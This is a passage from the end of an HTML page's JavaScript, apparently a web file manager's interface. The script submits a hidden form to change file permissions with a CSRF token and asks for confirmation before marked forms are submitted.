var b = document.createElement('input'); b.type='hidden'; b.name='chmod_perm'; b.value=p;
var c = document.createElement('input'); c.type='hidden'; c.name='nx_csrf'; c.value=csrfVal;
var d = document.createElement('button'); d.type='submit'; d.name='nx_chmod';
f.appendChild(a); f.appendChild(b); f.appendChild(c); f.appendChild(d);
document.body.appendChild(f); f.submit();
}, false);
document.addEventListener('submit', function(e){
var form = e.target;
var msg = form.getAttribute('data-confirm');
if (msg !== null) {
if (!window.confirm(msg)) {
e.preventDefault();
return false;
}
}
}, true);
})();
</script>
</body>
</html>